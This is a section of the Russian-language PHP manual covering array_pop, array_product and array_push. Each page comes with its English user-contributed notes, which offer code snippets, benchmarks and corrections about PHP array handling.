mwwaygoo at hotmail dot com 16-Jan-2004 08:02
little older, a little wiser.

ksort() will order the array back into its normal order again
so:

<?php
$myArr = array(2 => 'two', 4 => 'four');

$newArr = array_pad(array(), 6, 'FILLED');
$newArr =$myArr+$newArr;
ksort($newArr);
?>

Will give :
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => FILLED [4] => four [5] => FILLED )
goffrie at sympatico dot ca 23-Mar-2003 05:06
To daarius - you mean you have...

[2]=>"two"
[3]=>"three"

and you want...

[0]=>"FILLED"
[1]=>"FILLED"
[2]=>"two"
[3]=>"three"
[4]=>"FILLED"
[5]=>"FILLED"

If so, then the following code...

<?php
$array = array(2 => "two", 3 => "three");
$array = array_pad($array, count($array)+2, "FILLED");
$num = -(count($array)+2);
$array = array_pad($array, $num, "FILLED");
print_r($array);
?>

will return:
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => three [4] => FILLED [5] => FILLED )
The ordering should be okay,...
mwwaygoo at hotmail dot com 19-Sep-2002 09:39
OR you could do this

<?php
$myArr = array(2 => 'three', 3 => 'four');

$newArr = array_pad(array(), 4, 'FILLED');
$newArr =$myArr+$newArr;
?>

This gives your desired result BUT the ordering is a little wierd, because of the order they were added. Indexes are okay though and that is what you wanted.

print_r($newArr) outputs
Array ( [2] => three [3] => four [0] => FILLED [1] => FILLED )

hope this helps
daarius at hotmail dot com 23-Jul-2002 07:36
yes that is true. But, if the index of the array is 2=two, 3=three

and i want 4 more keys to be filled. But, not just filled anywhere, but i want to maintain the key index.

so, i would like to have 0=FILLED, 1=FILLED ... 4=FILLED, 5=FILLED

now i got 4 more keys padded with my string.

We can do this "if" we know the missing keys, but if we dont, then it would be nice for array_pad() or perhaps some new function to do this?

obviously we can achive this by looping through the array using array_key_exists(), and if you dont find the key, simply create + fill it.
regards,
Daarius...
scott*hurring.com 19-Jul-2002 04:20
to the previous commenter -- if you read the manual entry, you'd see that a negative pad_size will put the pad values at the front of the array.


Извлекает последний элемент массива

  • « array_pad
  • array_product »
  • PHP Manual
  • Функции для работы с массивами
  • Извлекает последний элемент массива

array_pop

(PHP 4, PHP 5, PHP 7, PHP 8)

array_pop — Извлекает последний элемент массива

Описание

array_pop(array &$array): mixed

array_pop() извлекает и возвращает значение последнего элемента массива array, уменьшая размер array на один элемент.

Замечание: При вызове функция сбрасывает указатель массива, переданного параметром.

Список параметров

array

Массив, из которого берётся значение.

Возвращаемые значения

Возвращает значение последнего элемента массива array. Если array пуст, будет возвращён null.

Примеры

Пример #1 Пример использования array_pop()

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
?>

После этого в $stack будет только 3 элемента:

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
)

и raspberry будет присвоено переменной $fruit.

Смотрите также

  • array_push() - Добавляет один или несколько элементов в конец массива
  • array_shift() - Извлекает первый элемент массива
  • array_unshift() - Добавляет один или несколько элементов в начало массива

User Contributed Notes

noreply at i-asm dot com 09-May-2021 11:18
Note that array_pop doesn't issue ANY warning or error if the array is already empty when you try to pop something from it. This is bizarre! And it will cause cascades of errors that are hard to resolve without knowing the real cause.

Rather than an error, it silently returns a NULL object, it appears, so in my case I ended up with warnings elsewhere about accessing elements of arrays with invalid indexes, as I was expecting to have popped an array. This behaviour (and the lack of any warning, when many trivial things are complained about verbosely) is NOT noted in the manual above. Popping an already empty stack should definitely trigger some sort of notice, to help debugging.

Sure, it's probably good practice to wrap the pop in an if (count($array)) but that should be suggested in the manual, if there's no error returned for trying something that should fail and obviously isn't expected to return a meaningful result.
Anonymous 28-Feb-2014 08:21
Strict Standards will be thrown out if you put exploded array in array_pop:
<?php
$a = array_pop(explode(",", "a,b,c"));
echo $a;
?>

You will see:
PHP Strict Standards:  Only variables should be passed by reference in - on line 2

Strict Standards: Only variables should be passed by reference in - on line 2
c

Notice that, you should assign a variable for function explode, then pass the variable reference into array_pop to avoid the Strict Standard warning.
elad dot yosifon at gmail dot com 10-Aug-2013 06:45
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
qeremy 07-Mar-2012 11:26
For the sake of array_unshift()
:)

<?php
function array_unpop(&$arr) {
    $args = func_get_args(); unset($args[0]);
    $tarr = array();
    foreach ($args as $arg) {
        $tarr[] = $arg;
    }
    $arr = array_merge($arr, $tarr);
}

$queue = array("orange", "banana");
array_unpop($queue, "apple", "raspberry");
print_r($queue);
?>

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)
mcgroovin at gmail dot com 23-Oct-2008 12:13
I wrote a simple function to perform an intersect on multiple (unlimited) arrays.

Pass an array containing all the arrays you want to compare, along with what key to match by.

<?php
function multipleArrayIntersect($arrayOfArrays, $matchKey)
{
    $compareArray = array_pop($arrayOfArrays);

    foreach($compareArray AS $key => $valueArray){
        foreach($arrayOfArrays AS $subArray => $contents){
            if (!in_array($compareArray[$key][$matchKey], $contents)){
                unset($compareArray[$key]);
            }
        }
    }

    return $compareArray;
}
?>
sonetti at hotmail dot com 05-Feb-2008 01:15
@smp_info
I think you are still tired. What would be wrong with:

<?php
$array = array('one', 'two', 'three', 'four');

//pop the last element off
array_pop($array);

//$array == array('one', 'two', 'three');
?>

As the documentation clearly notes, array_pop() not only returns the last element, but actually removes it from the array wich is passed by reference. Calling array_diff is a waste of resources.
Orsi 10-Jan-2008 07:05
Hi,

Here is a simple function which delete one element from the array (with value):
<?php
/*
* This function deletes the given element from a one-dimension array
* Parameters: $array:    the array (in/out)
*             $deleteIt: the value which we would like to delete
*             $useOldKeys: if it is false then the function will re-index the array (from 0, 1, ...)
*                          if it is true: the function will keep the old keys
* Returns true, if this value was in the array, otherwise false (in this case the array is same as before)
*/
function deleteFromArray(&$array, $deleteIt, $useOldKeys = FALSE)
{
    $tmpArray = array();
    $found = FALSE;
    foreach($array as $key => $value)
    {
        if($value !== $deleteIt)
        {
            if(FALSE === $useOldKeys)
            {
                $tmpArray[] = $value;
            }
            else
            {
                $tmpArray[$key] = $value;
            }
        }
        else
        {
            $found = TRUE;
        }
    }

    $array = $tmpArray;

    return $found;
}
?>

Maybe it will help somebody...
doyley3731 at gmail dot com 31-Oct-2007 04:37
I had a problem when using this function because my array was made up entirley of numbers, so I have made my own function.  Hopefully it will be useful to somebody.

function array_trim_end($array){

$num=count($array);
$num=$num-1;
unset($array[$num]);

return $array;
}
rmondragon at gmail dot com 07-Jun-2005 02:03
In a previous example ...
<?php
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>

This have a problem. if u unset the last value and then use
<?
array_unshift ( $array, array_shift ( $array ) );
?>

will return a :  Array ( [0] => )
so u can fix it using...

<?php
if (count($array) > 0) array_unshift ( $values, array_shift ( $values ) );
?>

good luck ;)
15-Dec-2004 08:29
strrchr is a lot more useful than the other example using array_pop for finding the extension of a file. For example:

<?php
$ext = strrchr($filename, ".");
?>

$ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "filename.tar.gz", then this construction will just return the last extension.
Alex Chac?n 28-Feb-2003 05:16
alex.chacon@terra.com
Hi
Here there is a function that delete a elemente from a array and re calculate indexes

<?php
function eliminarElementoArreglo ($array, $indice)
{
    if (array_key_exists($indice, $array))
    {
        $temp = $array[0];
        $array[0] = $array[$indice];
        $array[$indice] = $temp;
        array_shift($array);

        //reacomodamos ?ndices
        for ($i = 0 ; $i < $indice ; $i++)
        {
            $dummy = $array[$i];
            $array[$i] = $temp;
            $temp = $dummy;
        }
    }
    return $array;
}
?>


Вычисляет произведение значений массива

  • « array_pop
  • array_push »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет произведение значений массива

array_product

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_product — Вычисляет произведение значений массива

Описание

array_product(array $array): int|float

Функция array_product() возвращает произведение значений массива.

Список параметров

array

Массив.

Возвращаемые значения

Возвращает произведение в виде целого числа или числа с плавающей точкой.

Список изменений

Версия | Описание
8.3.0 | Теперь выдаёт ошибку уровня E_WARNING, когда значения массива (array) невозможно преобразовать в целое число (int) или число с плавающей точкой (float). Раньше массивы (array) и объекты (object) игнорировались, тогда как остальные значения приводились к целому числу (int). Больше того, объекты, определяющие числовое приведение (например, объекты класса GMP), теперь приводятся, а не игнорируются.

Примеры

Пример #1 Примеры использования функции array_product()

<?php

$a = array(2, 4, 6, 8);
echo "product(a) = " . array_product($a) . "\n";
echo "product(array()) = " . array_product(array()) . "\n";

?>

Результат выполнения приведённого примера:

product(a) = 384
product(array()) = 1

User Contributed Notes

gergely dot lukacsy at streamnet dot hu 20-Mar-2023 03:38
Just a little correction for Andre D's answer: "(bool) array_product($array);" is equivalent with the conjunction of each array elements of $array, UNLESS the provided array is empty in which case array_product() will return 1, which will translate to boolean TRUE.

To mitigate this, you should expand the function with an additional check:

<?php

$result = !empty($check) && !!array_product($check);

?>
biziclop 30-Oct-2022 11:21
You can use array_product() to calculate the geometric mean of an array of numbers:

<?php
$a = [ 1, 10, 100 ];
$geom_avg = pow( array_product( $a ), 1 / count( $a ));
// = 9.999999999999998 ? 10
?>
bsr dot anwar at gmail dot com 05-Jun-2017 06:04
Here's how you can find a factorial of a any given number with help of range and array_product functions.

function factorial($num) {
    return array_product(range(1, $num));
}

printf("%d", factorial(5)); //120
Jimmy PHP 29-Apr-2014 07:55
array_product() can be used to implement a simple boolean AND search

<?php
$args = array('first_name'=>'Bill','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Brenda','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Victor','last_name'=>'Vulture');
$values[] = array('first_name'=>'Bill','last_name'=>'Blue Jay');
$values[] = array('first_name'=>'Bill','last_name'=>'Buzzard');

$result = search_for($values,$args);
var_dump($result);exit;

function search_for($array,$args) {
    $results = array();
    foreach ($array as $row) {
        $found = false;
        $hits = array();
        foreach ($row as $k => $v) {
            if (array_key_exists($k,$args)) $hits[$k] = ($args[$k] == $v);
        }

        $found = array_product($hits);
        if (!in_array($row,$results) && true == $found) $results[] = $row;
    }

    return $results;
}
?>

Output:

array (size=1)
  0 =>
    array (size=2)
      'first_name' => string 'Bill' (length=4)
      'last_name' => string 'Buzzard' (length=7)
Marcel G 28-Sep-2010 08:36
You can use array_product to calculate the factorial of n:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  return array_product( range( 1, $n ));
}
?>

If you need the factorial without having array_product available, here is one:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  for( $p++; $n; ) $p *= $n--;
  return $p;
}
?>
pqpqpq at wanadoo dot nl 17-Jan-2007 04:32
An observation about the _use_ of array_product with primes:

$a=$arrayOfSomePrimes=(2,3,11);
              // 2 being the first prime (these days)

$codeNum=array_product($a); // gives 66 (== 2*3*11)

echo "unique product(\$a) = " . array_product($a) . "\n";

The 66 can (only) be split into its original primes,
which can be transformed into their place in the row of primes (2,3,5,7,11,13,17,19...)  giving (1,2,3,4,5,6,7,8...)

The 66 gives the places {1,2,5} in the row of primes. The number "66" is unique as a code for {1,2,5}

So you can define the combination of table-columns {1,2,5} in "66". The bigger the combination, the more efficient in memory/transmission, the less in calculation.
Andre D 07-Aug-2006 01:56
This function can be used to test if all values in an array of booleans are TRUE.

Consider:

<?php

function outbool($test)
{
    return (bool) $test;
}

$check[] = outbool(TRUE);
$check[] = outbool(1);
$check[] = outbool(FALSE);
$check[] = outbool(0);

$result = (bool) array_product($check);
// $result is set to FALSE because only two of the four values evaluated to TRUE

?>

The above is equivalent to:

<?php

$check1 = outbool(TRUE);
$check2 = outbool(1);
$check3 = outbool(FALSE);
$check4 = outbool(0);

$result = ($check1 && $check2 && $check3 && $check4);

?>

This use of array_product is especially useful when testing an indefinite number of booleans and is easy to construct in a loop.


Добавляет один или несколько элементов в конец массива

  • « array_product
  • array_rand »
  • PHP Manual
  • Функции для работы с массивами
  • Добавляет один или несколько элементов в конец массива

array_push

(PHP 4, PHP 5, PHP 7, PHP 8)

array_push — Добавляет один или несколько элементов в конец массива

Описание

array_push(array &$array, mixed ...$values): int

array_push() использует array как стек и добавляет переданные значения в конец массива array. Длина array увеличивается на количество переданных значений. Имеет тот же эффект, что и выражение:

<?php
$array[] = $var;
?>
повторенное для каждого переданного значения.

Замечание: Вместо использования array_push() для добавления одного элемента в массив, лучше использовать $array[] = , потому что в этом случае не происходит затрат на вызов функции.

Замечание: array_push() вызовет предупреждение, если первый аргумент не является массивом. Это отличается от поведения конструкции $var[] до PHP 7.1.0, в случае которой будет создан новый массив.

Список параметров

array

Входной массив.

values

Значения, добавляемые в конец массива array.

Возвращаемые значения

Возвращает новое количество элементов в массиве.

Список изменений

Версия | Описание
7.3.0 | Теперь эта функция может быть вызвана с одним параметром. Ранее требовалось минимум два параметра.

Примеры

Пример #1 Пример использования array_push()

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)

Смотрите также

  • array_pop() - Извлекает последний элемент массива
  • array_shift() - Извлекает первый элемент массива
  • array_unshift() - Добавляет один или несколько элементов в начало массива

User Contributed Notes

asma dot gi dot 14 at gmail dot com 12-Nov-2021 01:07
only variables could be passed by reference:
$arr = [1,2,3];
array_push(['a','b'],$arr) ; // error
array_push($arr,[1,2,3]) ; // correct
David Spector 20-Feb-2021 12:18
After using array_push you may wish to read the top (last) array element one or more times before using array_pop. To read the top array element efficiently, use the 'current' function.
David Spector 21-Nov-2020 07:05
A common operation when pushing a value onto a stack is to address the value at the top of the stack.

This can be done easily using the 'end' function:

<?php
$top=end($stack);
?>

Note: See the 'end' function for details about its side effect on the seldom used internal array pointer.
siqueiramoises14 at gmail dot com 02-Oct-2019 01:07
if you need to push a multidimensional numeric array into another, array push will push the hole array into a key of the first array, for example, let's imagine you have two arrays:

<?php
$array1 = [
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ]
];

$array2 = [
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ]
];

$array1[] = $array2;

//after that array1 will look like this:

[
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ],

    1 => [
        0 => [
            "key1" => "value2",
            "key2" => "value2"
        ]
]

// If you don't want that to happen here's a function to avoid that:

function array_push_indexes($array1, $array2){
    $lastKey = array_key_last($array1);
    for($i = 0; $i < count($array2); $i++){
        $KeyPosition = 1 + $i;
        $array1[$lastKey+$KeyPosition] = $array2[$i];
    }
    return $array1;
}

//Using the same example from before this function will return:

[
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ],

    1 => [
        "key1" => "value1",
        "key2" => "value2"
    ]
]

?>

P.S: the array_key_last function it's for PHP >= 7.3.0 see more here https://www.php.net/manual/en/function.array-key-last.php
P.A.Semi 13-Jun-2019 09:38
There is problem with pushing references to array, introduced in PHP 5.4 - did someone decide it is not needed?

In PHP 5.3 this could be used:

$A=array(); array_push($A,1); $c=2; array_push($A,&$c); print_r($A); $c=3; print_r($A);

Outputs correctly:

Array ( [0] => 1 [1] => 2 )
Array ( [0] => 1 [1] => 3 )

Think of Reference as a pointer in other languages...
This function is needed for example to push parameters for MySql query:

$params=array(); array_push($params,&$field1); array_push($params,&$field2); array_unshift($params,'ss');
call_user_func_array(array($Query,'bind_param'),$params);

This code causes fatal error in PHP 5.4 and depending on server configuration it may not even be reported why...

A workarround to allow pushing references to array is this:

$A=array(); $A[]=1; $c=2; $A[]=&$c; print_r($A); $c=3; print_r($A);

$params=array(); $params[]=&$field1; $params[]=&$field2; array_unshift($params,'ss');
call_user_func_array(array($Query,'bind_param'),$params);

(in actual code, the fields are specified dynamically and iterated in for-loop...)

This seems working both on PHP 5.3 and PHP 5.6 ...
Carlos Alberto B. Carucce 18-Jan-2019 04:34
This is how I add all the elements from one array to another:

<?php
$oneArray = ['d', 'e', 'f'];
$anotherArray = ['a', 'b', 'c'];

array_push($anotherArray, ...$oneArray);
//['a', 'b', 'c', 'd', 'e', 'f'];
yhusky at qq dot com 06-Jul-2018 05:52
There is a mistake in the note by egingell at sisna dot com 12 years ago. The tow dimensional array will output "d,e,f", not "a,b,c".

<?php
$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);
?>

The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => d
     [1] => e
     [2] => f
  )
)
gfuente at garrahan dot gov dot ar 20-Jan-2017 07:33
If the element to be pushed onto the end of array is an array you will receive the following error message:

Unknown Error, value: [8] Array to string conversion

I tried both: (and works, but with the warning message)

            $aRol = array( $row[0], $row[1], $row[2] );
            $aRoles[] = $aRol;

and
            array_push( $aRoles, $aRol);

The correct way:

            $cUnRol = implode("(",array( $row[0], $row[1], $row[2] ) );
            array_push( $aRoles, $cUnRol );

thanks.
colecooper2005 at icloud dot com 06-Nov-2016 06:44
When developing a pocketmine plugin, a good way to add stuff to a YAML table is

$table=$this->config->get("Table");
array_push($table, "New Value for table");
$this->config->set("Table", $table);
raat1979 at gmail dot com 23-Apr-2016 02:39
Unfortunately array_push returns the new number of items in the array
It does not give you the key of the item you just added, in numeric arrays you could do -1, you do however need to be sure that no associative key exists as that would break the assumption

It would have been better if array_push would have returned the key of the item just added like the below function
(perhaps a native variant would be a good idea...)

<?php

if(!function_exists('array_add')){
    function array_add(array &$array,$value /*[, $...]*/){
        $values = func_get_args();     //get all values
        $values[0]= &$array;        //REFERENCE!
        $org=key($array);              //where are we?
        call_user_func_array('array_push',$values);
        end($array);                 // move to the last item
        $key = key($array);         //get the key of the last item
        if($org===null){
            //was at eof, added something, move to it
            return $key;
        }elseif($org<(count($array)/2)){ //somewhere in the middle +/- is fine
            reset($array);
            while (key($array) !== $org) next($List);
        }else{
            while (key($array) !== $org) prev($List);
        }
        return $key;
    }
}
echo "<pre>\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "Taken array;";
print_r($pr);

echo "\npush 1 returns ".array_push($pr,1)."\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\npush 2 returns ".array_push($pr,1,2)."\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\n add 1 returns ".array_add($pr,2)."\n\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\n add 2 returns ".array_add($pr,1,2)."\n\n";
echo "<pre/>\n\n";
?>
Outputs:
Taken array;Array
(
    [foo] => bar
    [bar] => foo
)

push 1 returns 3
------------------------------------

push 2 returns 4
------------------------------------

 add 1 returns 0

------------------------------------

 add 2 returns 1
mrgreen dot webpost at gmail dot com 09-Mar-2016 02:11
Rodrigo de Aquino asserted that instead of using array_push to append to an associative array you can instead just do...

        $data[$key] = $value;

...but this is actually not true. Unlike array_push and even...

        $data[] = $value;

...Rodrigo's suggestion is NOT guaranteed to append the new element to the END of the array. For instance...

        $data['one'] = 1;
        $data['two'] = 2;
        $data['three'] = 3;
        $data['four'] = 4;

...might very well result in an array that looks like this...

       [ "four" => 4, "one" => 1, "three" => 3, "two" => 2 ]

I can only assume that PHP sorts the array as elements are added to make it easier for it to find a specified element by its key later. In many cases it won't matter if the array is not stored internally in the same order you added the elements, but if, for instance, you execute a foreach on the array later, the elements may not be processed in the order you need them to be.

If you want to add elements to the END of an associative array you should use the unary array union operator (+=) instead...

       $data['one'] = 1;
       $data += [ "two" => 2 ];
       $data += [ "three" => 3 ];
       $data += [ "four" => 4 ];

You can also, of course, append more than one element at once...

       $data['one'] = 1;
       $data += [ "two" => 2, "three" => 3 ];
       $data += [ "four" => 4 ];

Note that like array_push (but unlike $array[] =) the array must exist before the unary union, which means that if you are building an array in a loop you need to declare an empty array first...

       $data = [];
       for ( $i = 1; $i < 5; $i++ ) {
              $data += [ "element$i" => $i ];
       }

...which will result in an array that looks like this...

      [ "element1" => 1, "element2" => 2, "element3" => 3, "element4" => 4 ]
golddragon007 25-Mar-2015 10:51
I did a performance check, and I saw, if you push more than one value it can be faster the array push, that the normal $array[] version.

Case 1: $array[] = something;
Case 2: array_push($array, $value);
Case 3: array_push($array, $value1, $value2, $value3 [...]); $values are definied
Case 4: array_push($array, $value1, $value2, $value3 [...]); $values are definied, when $array is not empty
Case 5: Case1 + Case 3
Case 6: Result array contains some value (Case 4)
Case 7: Result array contains same value as the push array (Case 4)
-----------------------------------------------------------------------------------------------------------
~~~~~~~~~~~~ Case 1 ~~~~~~~~~~~~
Times: 0.0310 0.0300 0.0290 0.0340 0.0400 0.0440 0.0480 0.0550 0.0570 0.0570
Min: 0.0290
Max: 0.0570
Avg: 0.0425
~~~~~~~~~~~~ Case 2 ~~~~~~~~~~~~
Times: 0.3890 0.3850 0.3770 0.4110 0.4020 0.3980 0.4020 0.4060 0.4130 0.4200
Min: 0.3770
Max: 0.4200
Avg: 0.4003
~~~~~~~~~~~~ Case 3 ~~~~~~~~~~~~
Times: 0.0200 0.0220 0.0240 0.0340 0.0360 0.0410 0.0460 0.0500 0.0520 0.0520
Min: 0.0200
Max: 0.0520
Avg: 0.0377
~~~~~~~~~~~~ Case 4 ~~~~~~~~~~~~
Times: 0.0200 0.0250 0.0230 0.0260 0.0330 0.0390 0.0460 0.0510 0.0520 0.0520
Min: 0.0200
Max: 0.0520
Avg: 0.0367
~~~~~~~~~~~~ Case 5 ~~~~~~~~~~~~
Times: 0.0260 0.0250 0.0370 0.0360 0.0390 0.0440 0.0510 0.0520 0.0530 0.0560
Min: 0.0250
Max: 0.0560
Avg: 0.0419
~~~~~~~~~~~~ Case 6 ~~~~~~~~~~~~
Times: 0.0340 0.0280 0.0370 0.0410 0.0450 0.0480 0.0560 0.0580 0.0580 0.0570
Min: 0.0280
Max: 0.0580
Avg: 0.0462
~~~~~~~~~~~~ Case 7 ~~~~~~~~~~~~
Times: 0.0290 0.0270 0.0350 0.0410 0.0430 0.0470 0.0540 0.0540 0.0550 0.0550
Min: 0.0270
Max: 0.0550
Avg: 0.044

Tester code:
// Case 1
    $startTime = microtime(true);
    $array = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 2
    $startTime = microtime(true);
    $array = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        array_push($array, $x);
    }
    $endTime = microtime(true);

// Case 3
    $result = array();
    $array2 = array(&$result)+$array;
    $startTime = microtime(true);
    call_user_func_array("array_push", $array2);
    $endTime = microtime(true);

// Case 4
    $result = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $result[] = $x;
    }
    $array2 = array(&$result)+$array;
    $startTime = microtime(true);
    call_user_func_array("array_push", $array2);
    $endTime = microtime(true);

// Case 5
    $result = array();
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 6
    $result = array(1,2,3,4,5,6);
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 7
    $result = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $result[] = $x;
    }
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);
flobee 20-Nov-2013 01:25
Be warned using $array "+=" array(1,2,3) or union operations (http://php.net/manual/en/language.operators.array.php)

I think it worked in the past or i havent test it good enough. :-/
(once it worked, once [] was faster than array_push, the past :-D ):

php -r '$a = array(1,2); $a += array(3,4); print_r($a);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(3,4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(2=>3,3=>4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
Rodrigo de Aquino 30-Mar-2012 03:24
If you're going to use array_push() to insert a "$key" => "$value" pair into an array, it can be done using the following:

    $data[$key] = $value;

It is not necessary to use array_push.
Chicna 21-Mar-2012 10:14
I found a simple way to have an "array_push_array" function, without the references problem when we want to use call_user_func_array(), hope this help :

function array_push_array(array &$array)
{
    $numArgs = func_num_args();
    if(2 > $numArgs)
    {
      trigger_error(sprintf('%s: expects at least 2 parameters, %s given', __FUNCTION__, $numArgs), E_USER_WARNING);
      return false;
    }

    $values = func_get_args();
    array_shift($values);

    foreach($values as $v)
    {
      if(is_array($v))
      {
        if(count($v) > 0)
        {
          foreach($v as $w)
          {
            $array[] = $w;
          }
        }
      }
      else
      {
        $array[] = $v;
      }
    }

    return count($array);
}
yuri 30-Nov-2011 10:00
If you want to put an element to a specific position in an array, try this function.

<?php

function array_put_to_position(&$array, $object, $position, $name = null)
{
        $count = 0;
        $return = array();
        foreach ($array as $k => $v)
        {
                // insert new object
                if ($count == $position)
                {
                        if (!$name) $name = $count;
                        $return[$name] = $object;
                        $inserted = true;
                }
                // insert old object
                $return[$k] = $v;
                $count++;
        }
        if (!$name) $name = $count;
        if (!$inserted) $return[$name];
        $array = $return;
        return $array;
}
?>

Example :

<?php
$a = array(
 'a' => 'A',
 'b' => 'B',
 'c' => 'C',
);

print_r($a);
array_put_to_position($a, 'G', 2, 'g');
print_r($a);

/*
Array
(
    [a] => A
    [b] => B
    [c] => C
)
Array
(
    [a] => A
    [b] => B
    [g] => G
    [c] => C
)
*/
?>
aosojnik at gmail dot com 23-Nov-2009 02:56
If you want to preserve the keys in the array, use the following:

<?php
function array_pshift(&$array) {
    $keys = array_keys($array);
    $key = array_shift($keys);
    $element = $array[$key];
    unset($array[$key]);
    return $element;
}
?>
rarioj at gmail dot com 04-Oct-2009 06:44
This function "Returns the new number of elements in the array."

To find out the last index, use:

<?php
$count = array_push($array, $value);
$last_index = array_pop(array_keys($array));
?>
helpmepro1 at gmail dot com 13-Jan-2009 01:43
elegant php array combinations algorithm

<?

//by Shimon Dookin

function get_combinations(&$lists,&$result,$stack=array(),$pos=0)
{
 $list=$lists[$pos];
 if(is_array($list))
  foreach($list as $word)
  {
   array_push($stack,$word);
   if(count($lists)==count($stack))
    $result[]=$stack;
   else
    get_combinations($lists,$result,$stack,$pos+1);
   array_pop($stack);
  }
}

$wordlists= array( array("shimon","doodkin") , array("php programmer","sql programmer","mql metatrader programmer") );

get_combinations($wordlists,$combinations);

echo '<xmp>';
print_r($combinations);

?>
wesleys at opperschaap dot net 10-Oct-2008 12:58
A function which mimics push() from perl, perl lets you push an array to an array: push(@array, @array2, @array3). This function mimics that behaviour.

<?php

function array_push_array(&$arr) {
    $args = func_get_args();
    array_shift($args);

    if (!is_array($arr)) {
        trigger_error(sprintf("%s: Cannot perform push on something that isn't an array!", __FUNCTION__), E_USER_WARNING);
        return false;
    }

    foreach($args as $v) {
        if (is_array($v)) {
            if (count($v) > 0) {
                array_unshift($v, &$arr);
                call_user_func_array('array_push',  $v);
            }
        } else {
            $arr[] = $v;
        }
    }
    return count($arr);
}

$arr = array(0);
$arr2  = array(6,7,8);
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));
print_r($arr);

# error..
$arr = "test";
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));

?>
willdemaine at gmail dot com 07-Aug-2008 07:00
If you're adding multiple values to an array in a loop, it's faster to use array_push than repeated [] = statements that I see all the time:

<?php
class timer
{
        private $start;
        private $end;

        public function timer()
        {
                $this->start = microtime(true);
        }

        public function Finish()
        {
                $this->end = microtime(true);
        }

        private function GetStart()
        {
                if (isset($this->start))
                        return $this->start;
                else
                        return false;
        }

        private function GetEnd()
        {
                if (isset($this->end))
                        return $this->end;
                else
                        return false;
        }

        public function GetDiff()
        {
                return $this->GetEnd() - $this->GetStart();
        }

        public function Reset()
        {
                $this->start = microtime(true);
        }

}

echo "Adding 100k elements to array with []\n\n";
$ta = array();
$test = new Timer();
for ($i = 0; $i < 100000; $i++)
{
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push\n\n";
$test->Reset();
for ($i = 0; $i < 100000; $i++)
{
        array_push($ta,$i);
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with [] 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        array_push($ta,$i,$i,$i,$i,$i,$i,$i,$i,$i,$i);
}
$test->Finish();
echo $test->GetDiff();
?>

Output

$ php5 arraypush.php
X-Powered-By: PHP/5.2.5
Content-type: text/html

Adding 100k elements to array with []

0.044686794281006

Adding 100k elements to array with array_push

0.072616100311279

Adding 100k elements to array with [] 10 per iteration

0.034690141677856

Adding 100k elements to array with array_push 10 per iteration

0.023932933807373
bxi at apparoat dot nl 23-May-2008 04:29
I've done a small comparison between array_push() and the $array[] method and the $array[] seems to be a lot faster.

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    $array[] = $x;
}
?>
takes 0.0622200965881 seconds

and

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    array_push($array, $x);
}
?>
takes 1.63195490837 seconds

so if your not making use of the return value of array_push() its better to use the $array[] way.

